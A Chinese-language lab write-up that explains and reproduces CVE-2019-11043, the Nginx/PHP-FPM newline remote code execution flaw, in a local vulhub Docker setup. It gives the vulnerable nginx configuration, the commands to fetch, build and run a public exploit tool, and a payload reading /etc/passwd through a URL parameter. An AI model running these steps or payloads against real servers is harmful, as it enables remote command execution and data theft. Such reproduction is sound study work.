CVE-2019-11043（PHP远程代码执行漏洞）

漏洞原理

Nginx 上fastcgi_split_path_info在处理带有%0a的请求时，会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm在处理 PATH_INFO为空的情况下，存在逻辑缺陷。攻击者通过精心的构造和利用，可以导致远程代码执行。
该漏洞需要在 nginx.conf 中进行特定配置才能触发。具体配置如下：

Copy
location ~ [^/]\.php(/|$) {

...

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

fastcgi_pass php:9000;

...

}

攻击者可以使用换行符（％0a）来破坏fastcgi_split_path_info指令中的 Regexp。Regexp 被损坏导致PATH_INFO为空，从而触发该漏洞。

漏洞复现

本实验所用的机器为：Kali，创建了 vulnhub 的 docker 镜像。
首先安装 vulhub，然后进入相应漏洞的目录下， 执行 docker 镜像创建的命令。
命令为：

Copy
docker-compose build docker-compose up -d

使用docker-compose config 查看该漏洞的配置

之后，访问该页面:
192.168.19.128:8080(192.168.19.128 为 kali 虚拟机的 IP)
下载安装漏洞利用工具
使用 GitHub 上该漏洞公开的 POC，获取安装包：

Copy
git clone https://github.com/neex/phuip-fpizdam.git

该工具需要在 go 语言环境下编译运行，所以需要 kali 装有 go 语言环境。

进入该目录后，执行命令：

Copy
go env -w GOPROXY=https://goproxy.cn
go get -v && go build

这样，工具就安装完成了。
接下来进行漏洞的复现：
在该目录下执行命令：

Copy
go run . "http://192.168.19.128:8080/index.php"

之后，就可以在http://192.168.19.128:8080该页面，使用参数 a 来传递执行命令了。比如，查看/etc/passwd文件的内容，就可以构造如下的 payload：
http://192.168.19.128:8080/?a=cat%20/etc/passwd

漏洞成功复现。